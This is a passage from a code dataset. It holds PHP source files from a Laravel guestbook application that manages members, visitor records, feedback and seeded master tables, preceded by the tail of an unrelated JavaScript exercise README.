them into the table 7. Reset the button to its original state ## What you need to fix ## 1. Ensure the "Get data" button changes its appearance correctly 2. Aggregate the "async" data returned from the server, only proceeding once all responses are received 3. Sort the records according to date, oldest first 4. Ensure the records render properly in the table 5. Ensure the totals are correct 6. Ensure the button returns to its starting "Get data" state
b8386757cb144bad314877a74248fd2470eca51b
[ "JavaScript", "Markdown" ]
3
JavaScript
Willibaur/debbuging-test-Javascript
ee11d6f7b6a83221225c685c689bf78b735a1234
8f2a8e4e2d5e5a7e35e0e026303dd8273a10fba9
refs/heads/master
<repo_name>blimika/bukutamu<file_sep>/app/Http/Controllers/MemberController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Midentitas; use Illuminate\Support\Facades\Session; use Carbon\Carbon; use App\Mjk; use App\Mkatpekerjaan; use App\Mlayanan; use App\Mpendidikan; use App\MKunjungan; use App\Mwarga; use App\Mpekerjaan; use App\Mtamu; use App\Kunjungan; use App\Pstlayanan; use App\Pstmanfaat; use App\Mfasilitas; use App\MFas; use App\MManfaat; use App\MLay; use App\PstFasilitas; use App\Mjkunjungan; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\DB; use App\Feedback; use Illuminate\Support\Facades\Storage; use App\Helpers\Generate; use QrCode; use App\User; use App\MasterLevel; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Str; class MemberController extends Controller { // public function ListMember() { if (Auth::User()->level==10) { $m_level = MasterLevel::where('kode','10')->get(); } else { $m_level = MasterLevel::where('kode','>','1')->get(); } $data_users = User::get(); return view('member.list',['mlevel'=>$m_level,'dataUser'=>$data_users]); } public function PageListMember(Request $request) { $draw = $request->get('draw'); $start = $request->get("start"); $rowperpage = $request->get("length"); // Rows display per page $columnIndex_arr = $request->get('order'); $columnName_arr = $request->get('columns'); $order_arr = $request->get('order'); $search_arr = $request->get('search'); $columnIndex = $columnIndex_arr[0]['column']; // Column index $columnName = $columnName_arr[$columnIndex]['data']; // Column name $columnSortOrder = $order_arr[0]['dir']; // asc or desc $searchValue = $search_arr['value']; // Search value // Total records $totalRecords = User::select('count(*) as allcount')->where('level','<=',Auth::User()->level)->count(); $totalRecordswithFilter = User::select('count(*) as allcount')->where('name', 'like', '%' .$searchValue . '%')->where('level','<=',Auth::User()->level)->count(); // Fetch records $records = User::orderBy($columnName,$columnSortOrder) ->where('users.name', 'like', '%' .$searchValue . '%') ->where('level','<=',Auth::User()->level) ->select('users.*') ->skip($start) ->take($rowperpage) ->get(); $data_arr = array(); $sno = $start+1; foreach($records as $record){ $id = $record->id; $name = $record->name; $username = $record->username; $user_foto = $record->user_foto; $level = $record->level; $level_nama = $record->mLevel->nama; $email = $record->email; $telepon = $record->telepon; $flag = $record->flag; $email_kodever = $record->email_kodever; $tamu_id = $record->tamu_id; $lastlogin = $record->lastlogin; $lastip = $record->lastip; if ($record->user_foto != NULL) { if (Storage::disk('public')->exists($record->user_foto)) { $user_foto = '<a class="image-popup" href="'.asset('storage/'.$record->user_foto).'" title="Nama : '.$record->name.'"> <img src="'.asset('storage/'.$record->user_foto).'" class="img-circle" width="60" height="60" class="img-responsive" /> </a>'; } else { $user_foto = '<a class="image-popup" href="https://via.placeholder.com/480x360/0022FF/FFFFFF/?text=photo+tidak+ada" title="Nama : '.$record->name.'"> <img src="https://via.placeholder.com/480x360/0022FF/FFFFFF/?text=photo+tidak+ada" alt="image" class="img-circle" width="60" height="60" /> </a>'; } } else { $user_foto = '<a class="image-popup" href="https://via.placeholder.com/480x360/0022FF/FFFFFF/?text=photo+tidak+ada" title="Nama : '.$record->name.'"> <img src="https://via.placeholder.com/480x360/0022FF/FFFFFF/?text=photo+tidak+ada" alt="image" class="img-circle" width="60" height="60" /> </a>'; } $aksi =' <div class="btn-group"> <button type="button" class="btn btn-danger dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="ti-settings"></i> </button> <div class="dropdown-menu"> <a class="dropdown-item" href="#" data-id="'.$record->id.'" data-toggle="modal" data-target="#ViewMemberModal">View</a> <a class="dropdown-item" href="#" data-id="'.$record->id.'" data-toggle="modal" data-target="#EditMemberModal">Edit</a> <a class="dropdown-item" href="#" data-id="'.$record->id.'" data-toggle="modal" data-target="#GantiPasswdModal">Ganti Password</a> <div class="dropdown-divider"></div> <a class="dropdown-item hapusmember" href="#" data-id="'.$record->id.'" data-nama="'.$record->name.'">Hapus</a> </div> </div> '; $data_arr[] = array( "id" => $id, "name"=>$name, "username"=> $username, "email"=>$email, "level"=>$level, "level_nama"=>$level_nama, "telepon"=>$telepon, "flag"=>$flag, "tamu_id"=>$tamu_id, "lastlogin"=>$lastlogin, "lastip"=>$lastip, "user_foto"=>$user_foto, "aksi"=>$aksi ); } $response = array( "draw" => intval($draw), "iTotalRecords" => $totalRecords, "iTotalDisplayRecords" => $totalRecordswithFilter, "aaData" => $data_arr ); echo json_encode($response); exit; } public function HapusMember(Request $request) { if (Auth::User()->level < 10) { $arr = array( 'status'=>false, 'hasil'=>'Anda tidak memiliki akses untuk menghapus' ); return Response()->json($arr); } $data = User::where('id',$request->id)->first(); $arr = array( 'status'=>false, 'hasil'=>'Data member tidak tersedia' ); if ($data) { if ($data->username == 'admin') { $arr = array( 'status'=>false, 'hasil'=>'Superadmin tidak bisa dihapus' ); } elseif (Auth::User()->username == $data->username) { $arr = array( 'status'=>false, 'hasil'=>'Tidak bisa menghapus username sendiri' ); } elseif (Auth::User()->level < $data->level) { $arr = array( 'status'=>false, 'hasil'=>'Operator tidak bisa menghapus admin' ); } else { $nama = $data->name; $namafile_photo = $data->user_foto; $data->delete(); if ($data->user_foto != NULL) { Storage::disk('public')->delete($namafile_photo); } $arr = array( 'status'=>true, 'hasil'=>'Data member an. '.$nama.' berhasil dihapus' ); } } return Response()->json($arr); } public function SimpanMember(Request $request) { $arr = array( 'status'=>false, 'hasil'=>'Username tidak tersedia' ); $data = User::where('username',trim($request->username))->first(); if (!$data) { //$email_kodever = Str::random(10); //simpan data member $data = new User(); $data->level = $request->level; $data->name = trim($request->name); $data->username = trim($request->username); $data->email = trim($request->email); $data->telepon = trim($request->telepon); $data->password = <PASSWORD>($request->passwd); $data->email_kodever = Str::random(10); $data->flag = 0; $data->tamu_id = 0; $data->save(); $arr = array( 'status'=>true, 'hasil'=>'Data member an. '.$request->username.' berhasil ditambahkan' ); } #dd($request->all()); return Response()->json($arr); } public function CariMember($id) { $dataCek = User::where('id',$id)->first(); $arr = array('hasil' => 'Data member tidak tersedia', 'status' => false); if ($dataCek) { //data tamu tersedia //create qrcode simpan di public //$qrcode = base64_encode(QrCode::format('png')->size(100)->margin(0)->generate($dataCek->kode_qr)); /* $qrcode_foto = QrCode::format('png') ->size(200)->errorCorrection('H') ->generate($dataCek->kode_qr); $output_file = '/img/qrcode/'.$dataCek->kode_qr.'-'.$dataCek->id.'.png'; //$data_foto = base64_decode($qrcode_foto); Storage::disk('public')->put($output_file, $qrcode_foto); */ //cek member/users $arr_pengunjung = array('hasil'=>'Data pengujung tidak tersedia','status'=>false); if ($dataCek->tamu_id > 0) { //dd($dataCek->mtamu); if ($dataCek->mtamu) { $cek_kunjungan = Kunjungan::where('tamu_id',$dataCek->tamu_id)->count(); $arr_kunjungan = array('hasil'=>'Data Kunjungan Kosong','status'=>false); if ($cek_kunjungan > 0) { //ada kunjungan $dataKunjungan = Kunjungan::with('tamu','pLayanan','pManfaat')->where('tamu_id',$dataCek->tamu_id)->orderBy('created_at','desc')->take(10)->get(); foreach ($dataKunjungan as $item) { $dataItem[] = array( 'id'=>$item->id, 'tanggal'=>$item->tanggal, 'tanggal_nama'=>Carbon::parse($item->tanggal)->isoFormat('D MMMM Y'), 'keperluan'=>$item->keperluan, 'is_pst'=>$item->is_pst, 'f_id'=>$item->f_id, 'f_feedback'=>$item->f_feedback, 'jenis_kunjungan'=>$item->jenis_kunjungan, 'jumlah_tamu'=>$item->jumlah_tamu, 'tamu_m'=>$item->tamu_m, 'tamu_f'=>$item->tamu_m, 'flag_edit_tamu'=>$item->flag_edit_tamu, 'file_foto'=>$item->file_foto, 'created_at'=>$item->created_at, 'created_at_nama'=>Carbon::parse($item->created_at)->isoFormat('dddd, D MMMM Y H:mm:ss'), 'updated_at'=>$item->updated_at, 'updated_at_nama'=>Carbon::parse($item->updated_at)->isoFormat('dddd, D MMMM Y H:mm:ss'), ); } $arr_kunjungan = array( 'hasil' => $dataItem, 'status'=>true, 'jumlah'=>$cek_kunjungan ); } $arr_pengunjung = array( 'hasil' => array( 'tamu_id'=>$dataCek->mtamu->id, 'id_identitas'=>$dataCek->mtamu->id_midentitas, 'id_identitas_nama'=>$dataCek->mtamu->identitas->nama, 'nomor_identitas'=>$dataCek->mtamu->nomor_identitas, 'nama_lengkap'=>$dataCek->mtamu->nama_lengkap, 'tgl_lahir'=>$dataCek->mtamu->tgl_lahir, 'tgl_lahir_nama'=>Carbon::parse($dataCek->mtamu->tgl_lahir)->isoFormat('D MMMM Y'), 'umur'=>Carbon::parse($dataCek->mtamu->tgl_lahir)->age, 'id_jk'=>$dataCek->mtamu->id_jk, 'nama_jk'=>$dataCek->mtamu->jk->nama, 'inisial_jk'=>$dataCek->mtamu->jk->inisial, 'id_kerja'=>$dataCek->mtamu->id_mkerja, 'nama_kerja'=>$dataCek->mtamu->pekerjaan->nama, 'kat_kerja'=>$dataCek->mtamu->id_mkat_kerja, 'kat_kerja_nama'=>$dataCek->mtamu->kategoripekerjaan->nama, 'kerja_detil'=>$dataCek->mtamu->kerja_detil, 'id_mdidik'=>$dataCek->mtamu->id_mdidik, 'nama_mdidik'=>$dataCek->mtamu->pendidikan->nama , 'id_mwarga'=>$dataCek->mtamu->id_mwarga, 'nama_mwarga'=>$dataCek->mtamu->warga->nama, 'email'=>$dataCek->mtamu->email, 'telepon'=>$dataCek->mtamu->telepon , 'alamat'=>$dataCek->mtamu->alamat, 'kode_qr'=>$dataCek->mtamu->kode_qr, 'created_at'=>$dataCek->mtamu->created_at, 'created_at_nama'=>Carbon::parse($dataCek->mtamu->created_at)->isoFormat('dddd, D MMMM Y H:mm:ss'), 'updated_at'=>$dataCek->mtamu->updated_at, 'updated_at_nama'=>Carbon::parse($dataCek->mtamu->updated_at)->isoFormat('dddd, D MMMM Y H:mm:ss'), 'url_foto'=>$dataCek->mtamu->tamu_foto, 'kunjungan'=>$arr_kunjungan, ), 'status' => true ); } } $arr = array( 'hasil' => array( 'id'=> $dataCek->id, 'name' => $dataCek->name, 'username' => $dataCek->username, 'level' => $dataCek->level, 'level_nama' => $dataCek->mLevel->nama, 'lastlogin' => $dataCek->lastlogin, 'lastlogin_nama'=>Carbon::parse($dataCek->lastlogin)->isoFormat('dddd, D MMMM Y H:mm:ss'), 'lastip' => $dataCek->lastip, 'user_foto' => $dataCek->user_foto, 'tamu_id'=>$dataCek->tamu_id, 'created_at'=>$dataCek->created_at, 'created_at_nama'=>Carbon::parse($dataCek->created_at)->isoFormat('dddd, D MMMM Y H:mm:ss'), 'updated_at'=>$dataCek->updated_at, 'updated_at_nama'=>Carbon::parse($dataCek->updated_at)->isoFormat('dddd, D MMMM Y H:mm:ss'), 'pengunjung'=>$arr_pengunjung, ), 'status'=>true ); } return Response()->json($arr); } } <file_sep>/database/seeds/DatabaseSeeder.php <?php use Illuminate\Database\Seeder; use Carbon\Carbon; class DatabaseSeeder extends Seeder { /** * Seed the application's database. * * @return void */ public function run() { // $this->call(UsersTableSeeder::class); //Insert User DB::table('users')->insert([ ['name' => '<NAME>','username'=>'admin', 'email' => '<EMAIL>', 'password' => bcrypt('1'), 'level' => '20'], ]); //Insert layanan DB::table('mlayanan')->insert([ ['id' => 1, 'nama' => 'Pustaka Tercetak', 'flag' => 1], ['id' => 2, 'nama' => 'Pustaka Digital', 'flag' => 1], ['id' => 4, 'nama' => 'Penjualan Publikasi', 'flag' => 1], ['id' => 8, 'nama' => 'Data Mikro', 'flag' => 1], ['id' => 16, 'nama' => 'Konsultasi Statistik', 'flag' => 1], ['id' => 32, 'nama' => 'Rekomendasi Kegiatan Statistik', 'flag' => 1], ]); //jenis kelamin DB::table('mjk')->insert([ ['id' => 1, 'nama' => 'Laki-Laki', 'inisial'=>'L', 'flag' => 1], ['id' => 2, 'nama' => 'Perempuan', 'inisial'=>'P', 'flag' => 1], ]); //Insert Pendidikan DB::table('mpendidikan')->insert([ ['id' => 1, 'nama' => '<= SLTA', 'flag' => 1], ['id' => 2, 'nama' => 'D1/D2/D3', 'flag' => 1], ['id' => 3, 'nama' => 'D4/S1', 'flag' => 1], ['id' => 4, 'nama' => 'S2', 'flag' => 1], ['id' => 5, 'nama' => 'S3', 'flag' => 1], ]); //Insert Pekerjaan DB::table('mpekerjaan')->insert([ ['id' => 1, 'nama' => 'Pelajar/Mahasiswa', 'flag' => 1], ['id' => 2, 'nama' => 'Peneliti/Dosen', 'flag' => 1], ['id' => 3, 'nama' => 'PNS/TNI/POLRI', 'flag' => 1], ['id' => 4, 'nama' => 'Pegawai BUMN/D', 'flag' => 1], ['id' => 5, 'nama' => 'Pegawai Swasta', 'flag' => 1], ['id' => 6, 'nama' => 'Wiraswasta', 'flag' => 1], ['id' => 7, 'nama' => 'Lainnya', 'flag' => 1], ]); //Insert Kategori Pekerjaan DB::table('mkat_pekerjaan')->insert([ ['id' => 1, 'nama' => 'Lembaga Pendidikan & Penelitian Dalam Negeri', 'flag' => 1], ['id' => 2, 'nama' => 'Lembaga Pendidikan & Penelitian Luar Negeri', 'flag' => 1], ['id' => 3, 'nama' => 'Kementerian & Lembaga Pemerintah', 'flag' => 1], ['id' => 4, 'nama' => 'Lembaga Internasional', 'flag' => 1], ['id' => 5, 'nama' => 'Media Massa', 'flag' => 1], ['id' => 6, 'nama' => 'Pemerintah Daerah', 'flag' => 1], ['id' => 7, 'nama' => 'Perbankan', 'flag' => 1], ['id' => 8, 'nama' => 'BUMN/BUMD', 'flag' => 1], ['id' => 9, 'nama' => 'Swasta Lainnya', 'flag' => 1], ['id' => 10, 'nama' => 'Lainnya', 'flag' => 1], ]); //Insert Kewarganegaraan DB::table('mwarga')->insert([ ['id' => 1, 'nama' => 'Indonesia', 'flag' => 1], ['id' => 2, 'nama' => 'Jepang', 'flag' => 1], ['id' => 3, 'nama' => 'Amerika Serikat', 'flag' => 1], ['id' => 4, 'nama' => 'Malaysia', 'flag' => 1], ['id' => 5, 'nama' => 'Australia', 'flag' => 1], ['id' => 6, 'nama' => 'Cina', 'flag' => 1], ['id' => 7, 'nama' => 'India', 'flag' => 1], ['id' => 8, 'nama' => 'Lainnya', 'flag' => 1], ]); //Insert Manfaat Kunjungan DB::table('mkunjungan')->insert([ ['id' => 1, 'nama' => 'Tugas Sekolah/Kuliah', 'flag' => 1], ['id' => 2, 'nama' => 'Skripsi/Tesis/Disertasi', 'flag' => 1], ['id' => 4, 'nama' => 'Penelitian', 'flag' => 1], ['id' => 8, 'nama' => 'Perencanaan', 'flag' => 1], ['id' => 16, 'nama' => 'Evaluasi', 'flag' => 1], ['id' => 32, 'nama' => 'Lainnya', 'flag' => 1], ]); //Insert Master Identitas DB::table('midentitas')->insert([ ['id' => 1, 'nama' => 'Kartu Pelajar/Mahasiswa', 'flag' => 1], ['id' => 2, 'nama' => 'KTP', 'flag' => 1], ['id' => 3, 'nama' => 'SIM', 'flag' => 1], ['id' => 4, 'nama' => 'Paspor', 'flag' => 1], ['id' => 99, 'nama' => 'Lainnya', 'flag' => 1], ]); //Insert Master Fasilitas Utama DB::table('mfasilitas')->insert([ ['id' => 1, 'nama' => 'Website BPS', 'flag' => 1], ['id' => 2, 'nama' => 'Allstats BPS (aplikasi android dan iOS)', 'flag' => 1], ['id' => 3, 'nama' => 'Silastik (silastik.bps.go.id)', 'flag' => 1], ['id' => 4, 'nama' => 'Sirusa (sirusa.bps.go.id)', 'flag' => 1], ['id' => 5, 'nama' => 'Romantik Online (romantik.bps.go.id)', 'flag' => 1], ['id' => 6, 'nama' => 'Telepon/Faksimile', 'flag' => 1], ['id' => 7, 'nama' => 'E-mail/Surat', 'flag' => 1], ['id' => 8, 'nama' => 'Datang langsung ke PST', 'flag' => 1], ['id' => 9, 'nama' => 'Lainnya', 'flag' => 1], ]); } } <file_sep>/database/seeds/TabelMasterBaru.php <?php use Illuminate\Database\Seeder; class TabelMasterBaru extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { //tambah master level user DB::table('mlevel')->insert([ ['id'=>1,'kode' => 1, 'nama' => 'Pengunjung'], ['id'=>2,'kode' => 10, 'nama' => 'Operator'], ['id'=>3,'kode' => 15, 'nama' => 'Admin'], ['id'=>4,'kode' => 20, 'nama' => 'Super Admin'], ]); DB::table('msaluran')->insert([ ['id'=>1,'kode' => 0, 'nama' => 'Kantor'], ['id'=>2,'kode' => 1, 'nama' => 'PST'], ['id'=>3,'kode' => 2, 'nama' => 'Pojok Statistik'], ['id'=>4,'kode' => 3, 'nama' => 'E-Mail'], ['id'=>5,'kode' => 4, 'nama' => 'Whatsapp'], ['id'=>6,'kode' => 5, 'nama' => 'Telepon'], ]); } } <file_sep>/app/Http/Controllers/FeedbackController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Midentitas; use Illuminate\Support\Facades\Session; use Carbon\Carbon; use App\Mjk; use App\Mkatpekerjaan; use App\Mlayanan; use App\Mpendidikan; use App\MKunjungan; use App\Mwarga; use App\Mpekerjaan; use App\Mtamu; use App\Kunjungan; use App\Pstlayanan; use App\Pstmanfaat; use App\Mfasilitas; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\DB; use App\Feedback; class FeedbackController extends Controller { // public function list() { //menu tambah $data_tahun = DB::table('kunjungan') ->selectRaw('year(tanggal) as tahun') ->groupBy('tahun') ->orderBy('tahun','asc') ->get(); if (request('tahun')==NULL) { $tahun_filter=date('Y'); } else { $tahun_filter = request('tahun'); } $Midentitas = Midentitas::orderBy('id','asc')->get(); $Mpekerjaan = Mpekerjaan::orderBy('id','asc')->get(); $Mjk = Mjk::orderBy('id','asc')->get(); $Mpendidikan = Mpendidikan::orderBy('id','asc')->get(); $Mkatpekerjaan = Mkatpekerjaan::orderBy('id','asc')->get(); $Mwarga = Mwarga::orderBy('id','asc')->get(); $MKunjungan = MKunjungan::orderBy('id','asc')->get(); $Mlayanan = Mlayanan::orderBy('id','asc')->get(); $Mfasilitas = Mfasilitas::orderBy('id','asc')->get(); //batas tambah $feed = Feedback::when($tahun_filter > 0,function ($query) use ($tahun_filter){ return $query->whereYear('feedback_tanggal','=',$tahun_filter); })->orderBy('feedback_tanggal','desc')->get(); $nama_feed = Feedback::LeftJoin('kunjungan','kunjungan.id','=','feedback.kunjungan_id') ->when($tahun_filter > 0,function ($query) use ($tahun_filter){ return $query->whereYear('feedback_tanggal','=',$tahun_filter); }) ->orderBy('tanggal','desc')->paginate(30); return view('feedback.index',['Midentitas'=>$Midentitas, 'Mpekerjaan'=>$Mpekerjaan, 'Mjk'=>$Mjk, 'Mpendidikan' => $Mpendidikan, 'Mkatpekerjaan'=>$Mkatpekerjaan, 'Mwarga' => $Mwarga, 'MKunjungan' => $MKunjungan, 'Mlayanan' => $Mlayanan, 'Mfasilitas'=>$Mfasilitas,'dataFeedback'=>$feed,'dataNamaFeedback'=>$nama_feed,'dataTahun'=>$data_tahun,'tahun'=>$tahun_filter]); } public function Simpan(Request $request) { //dd($request->all()); /* 1. cek dulu kunjungan dan tamunya ada tidak 2. cek dulu di tabel feedback apakah sudah pernah ngisi "_token" => "<KEY>" "kunjungan_id" => "93" "tamu_id" => "2" "feedback_nilai" => "6" "imbalan_nilai" => "2" "pungli_nilai" => "2" "feedback_komentar" => null */ $cek_kunjungan = Kunjungan::where('id',$request->kunjungan_id)->count(); if ($cek_kunjungan > 0) { $dKunjungan = Kunjungan::where('id',$request->kunjungan_id)->first(); $dKunjungan->f_feedback = '2'; $dKunjungan->update(); $data = new Feedback(); $data->kunjungan_id = $request->kunjungan_id; $data->tamu_id = $request->tamu_id; //$data->feedback_tanggal = Carbon::today()->format('Y-m-d'); $data->feedback_tanggal = $dKunjungan->tanggal; $data->feedback_nilai = $request->feedback_nilai; $data->imbalan_nilai = $request->imbalan_nilai; $data->pungli_nilai = $request->pungli_nilai; $data->feedback_komentar = $request->feedback_komentar; $data->save(); Session::flash('message_header', "<strong>Terimakasih</strong>"); $pesan_error="Sudah memberikan <strong><i>Feedback</i></strong> untuk layanan kami"; $warna_error="success"; } else { $pesan_error="Data kunjungan tidak tersedia"; $warna_error="danger"; } Session::flash('message', $pesan_error); Session::flash('message_type', $warna_error); return redirect()->back(); } } <file_sep>/app/PstFasilitas.php <?php namespace App; use Illuminate\Database\Eloquent\Model; class PstFasilitas extends Model { // protected $table = 'pst_fasilitas'; public function Kunjungan() { return $this->belongsTo('App\Kunjungan', 'kunjungan_id', 'id'); } } <file_sep>/app/Http/Controllers/MasterController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Midentitas; use Illuminate\Support\Facades\Session; use Carbon\Carbon; use App\Mjk; use App\Mkatpekerjaan; use App\Mlayanan; use App\Mpendidikan; use App\MKunjungan; use App\Mwarga; use App\Mpekerjaan; use App\Mtamu; use App\Kunjungan; use App\Pstlayanan; use App\Pstmanfaat; use App\Mfasilitas; use App\MFas; use App\MManfaat; use App\MLay; use App\PstFasilitas; use App\Mjkunjungan; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\DB; use App\Feedback; use Illuminate\Support\Facades\Storage; use App\Helpers\Generate; use QrCode; class MasterController extends Controller { // public function PengunjungSync() { $count = Mtamu::count(); if ($count > 0) { $data = Mtamu::get(); foreach ($data as $item) { if ($item->kunjungan->count() > 0) { $total_kunjungan = ''; $data_update = Mtamu::where('id',$item->id)->first(); $data_update->total_kunjungan = $item->kunjungan->count(); $data_update->update(); } } $arr = array( 'status'=>true, 'pesan_error'=>'Data kunjungan berhasil sync', ); } else { $arr = array( 'status'=>false, 'pesan_error'=>'Data pengunjung masih kosong', ); } //return redirect()->route('pengunjung.list'); return Response()->json($arr); } public function PageListPengujung(Request $request) { $draw = $request->get('draw'); $start = $request->get("start"); $rowperpage = $request->get("length"); // Rows display per page $columnIndex_arr = $request->get('order'); $columnName_arr = $request->get('columns'); $order_arr = $request->get('order'); $search_arr = $request->get('search'); $columnIndex = $columnIndex_arr[0]['column']; // Column index $columnName = $columnName_arr[$columnIndex]['data']; // Column name $columnSortOrder = $order_arr[0]['dir']; // asc or desc $searchValue = $search_arr['value']; // Search value // Total records $totalRecords = Mtamu::select('count(*) as allcount')->count(); $totalRecordswithFilter = Mtamu::select('count(*) as allcount')->where('nama_lengkap', 'like', '%' .$searchValue . '%')->count(); // Fetch records $records = Mtamu::orderBy($columnName,$columnSortOrder) ->where('mtamu.nama_lengkap', 'like', '%' .$searchValue . '%') ->select('mtamu.*') ->skip($start) ->take($rowperpage) ->get(); $data_arr = array(); $sno = $start+1; foreach($records as $record){ $id = $record->id; $id_midentitas = $record->id_midentitas; $nomor_identitas = $record->nomor_identitas .'<br /> <span class="badge badge-success badge-pill">'. $record->identitas->nama .'</span>'; $url_foto = $record->tamu_foto; $nama_lengkap = $record->nama_lengkap; $email = $record->email; if ($record->jk->inisial=='L') { $jk = '<span class="badge badge-info badge-pill">'.$record->jk->inisial.'</span>'; } else { $jk = '<span class="badge badge-danger badge-pill">'.$record->jk->inisial.'</span>'; } $tgl_lahir = Carbon::parse($record->tgl_lahir)->isoFormat('D MMMM Y') .'<br />('.Carbon::parse($record->tgl_lahir)->age.' tahun)'; $telepon = $record->telepon; $id_mkerja = $record->pekerjaan->nama .' - '.$record->kerja_detil; $kode_qr = $record->kode_qr; $alamat = $record->alamat; $total_kunjungan = $record->total_kunjungan; if ($record->tamu_foto != NULL) { if (Storage::disk('public')->exists($record->tamu_foto)) { $tamu_foto = '<a class="image-popup" href="'.asset('storage/'.$record->tamu_foto).'" title="Nama : '.$record->nama_lengkap.'"> <img src="'.asset('storage/'.$record->tamu_foto).'" class="img-circle" width="60" height="60" class="img-responsive" /> </a>'; } else { $tamu_foto = '<a class="image-popup" href="https://via.placeholder.com/480x360/0022FF/FFFFFF/?text=photo+tidak+ada" title="Nama : '.$record->nama_lengkap.'"> <img src="https://via.placeholder.com/480x360/0022FF/FFFFFF/?text=photo+tidak+ada" alt="image" class="img-circle" width="60" height="60" /> </a>'; } } else { $tamu_foto = '<a class="image-popup" href="https://via.placeholder.com/480x360/0022FF/FFFFFF/?text=photo+tidak+ada" title="Nama : '.$record->nama_lengkap.'"> <img src="https://via.placeholder.com/480x360/0022FF/FFFFFF/?text=photo+tidak+ada" alt="image" class="img-circle" width="60" height="60" /> </a>'; } $aksi =' <div class="btn-group"> <button type="button" class="btn btn-danger dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="ti-settings"></i> </button> <div class="dropdown-menu"> <a class="dropdown-item" href="#" data-id="'.$record->id.'" data-toggle="modal" data-target="#ViewModal">View</a> <a class="dropdown-item" href="#" data-id="'.$record->id.'" data-toggle="modal" data-target="#EditMasterModal">Edit</a> <div class="dropdown-divider"></div> <a class="dropdown-item hapuspengunjungmaster" href="#" data-id="'.$record->id.'" data-nama="'.$record->nama_lengkap.'">Hapus</a> </div> </div> '; $data_arr[] = array( "id" => $id, "id_midentitas"=>$id_midentitas, "nomor_identitas"=> $nomor_identitas, "url_foto"=>$url_foto, "nama_lengkap"=>$nama_lengkap, "email"=>$email, "id_jk"=>$jk, "tgl_lahir"=>$tgl_lahir, "telepon"=>$telepon, "id_mkerja"=>$id_mkerja, "kode_qr"=>$kode_qr, "alamat"=>$alamat, "total_kunjungan"=>$total_kunjungan, "aksi"=>$aksi, "tamu_foto" => $tamu_foto ); } $response = array( "draw" => intval($draw), "iTotalRecords" => $totalRecords, "iTotalDisplayRecords" => $totalRecordswithFilter, "aaData" => $data_arr ); echo json_encode($response); exit; } public function SimpanPengunjung(Request $request) { $arr = array( 'status'=>false, 'hasil'=>'Data pengunjung tidak tersedia' ); $data = Mtamu::where('id',$request->tamu_id)->first(); if ($data) { //simpan data pengunjung $data->id_midentitas = $request->jenis_identitas; $data->nomor_identitas = trim($request->nomor_identitas); $data->nama_lengkap = trim($request->nama_lengkap); $data->tgl_lahir = $request->tgl_lahir; $data->id_jk = $request->id_jk; $data->id_mkerja = $request->id_kerja; $data->id_mkat_kerja = $request->kat_kerja; $data->kerja_detil = $request->pekerjaan_detil; $data->id_mdidik = $request->id_mdidik; $data->id_mwarga = $request->mwarga; $data->email = trim($request->email); $data->telepon = trim($request->telepon); $data->alamat = trim($request->alamat); $data->update(); $arr = array( 'status'=>true, 'hasil'=>'Data pengunjung an. '.$request->nama_lengkap.' berhasil diupdate' ); } #dd($request->all()); return Response()->json($arr); } public function ListPengunjung() { //$Mtamu = Mtamu::orderBy('id','asc')->paginate(30); //dd($Mtamu); $Midentitas = Midentitas::orderBy('id','asc')->get(); $Mpekerjaan = Mpekerjaan::orderBy('id','asc')->get(); $Mjk = Mjk::orderBy('id','asc')->get(); $Mpendidikan = Mpendidikan::orderBy('id','asc')->get(); $Mkatpekerjaan = Mkatpekerjaan::orderBy('id','asc')->get(); $Mwarga = Mwarga::orderBy('id','asc')->get(); $MKunjungan = MKunjungan::orderBy('id','asc')->get(); $Mfasilitas = Mfasilitas::orderBy('id','asc')->get(); $MFas = MFas::orderBy('id','asc')->get(); $MManfaat = MManfaat::orderBy('id','asc')->get(); $MLay = MLay::orderBy('id','asc')->get(); return view('master.listpengunjung',['Midentitas'=>$Midentitas, 'Mpekerjaan'=>$Mpekerjaan, 'Mjk'=>$Mjk, 'Mpendidikan' => $Mpendidikan, 'Mkatpekerjaan'=>$Mkatpekerjaan, 'Mwarga' => $Mwarga, 'Mlayanan' => $MLay, 'Mfasilitas'=>$MFas,'MManfaat'=>$MManfaat]); //return view('master.listpengunjung'); } public function CariPengunjung($id) { $dataCek = Mtamu::where('id',$id)->first(); $arr = array('hasil' => 'Data pengunjung tidak tersedia', 'status' => false); if ($dataCek) { //data tamu tersedia //create qrcode simpan di public //$qrcode = base64_encode(QrCode::format('png')->size(100)->margin(0)->generate($dataCek->kode_qr)); /* $qrcode_foto = QrCode::format('png') ->size(200)->errorCorrection('H') ->generate($dataCek->kode_qr); $output_file = '/img/qrcode/'.$dataCek->kode_qr.'-'.$dataCek->id.'.png'; //$data_foto = base64_decode($qrcode_foto); Storage::disk('public')->put($output_file, $qrcode_foto); */ $cek_kunjungan = Kunjungan::where('tamu_id',$dataCek->id)->count(); $arr_kunjungan = array('hasil'=>'Data Kunjungan Kosong','status'=>false); if ($cek_kunjungan > 0) { //ada kunjungan $dataKunjungan = Kunjungan::with('tamu','pLayanan','pManfaat')->where('tamu_id',$dataCek->id)->orderBy('created_at','desc')->take(10)->get(); foreach ($dataKunjungan as $item) { $dataItem[] = array( 'id'=>$item->id, 'tanggal'=>$item->tanggal, 'tanggal_nama'=>Carbon::parse($item->tanggal)->isoFormat('D MMMM Y'), 'keperluan'=>$item->keperluan, 'is_pst'=>$item->is_pst, 'f_id'=>$item->f_id, 'f_feedback'=>$item->f_feedback, 'jenis_kunjungan'=>$item->jenis_kunjungan, 'jumlah_tamu'=>$item->jumlah_tamu, 'tamu_m'=>$item->tamu_m, 'tamu_f'=>$item->tamu_m, 'flag_edit_tamu'=>$item->flag_edit_tamu, 'file_foto'=>$item->file_foto, 'created_at'=>$item->created_at, 'created_at_nama'=>Carbon::parse($item->created_at)->isoFormat('dddd, D MMMM Y H:mm:ss'), 'updated_at'=>$item->updated_at, 'updated_at_nama'=>Carbon::parse($item->updated_at)->isoFormat('dddd, D MMMM Y H:mm:ss'), ); } $arr_kunjungan = array( 'hasil' => $dataItem, 'status'=>true, 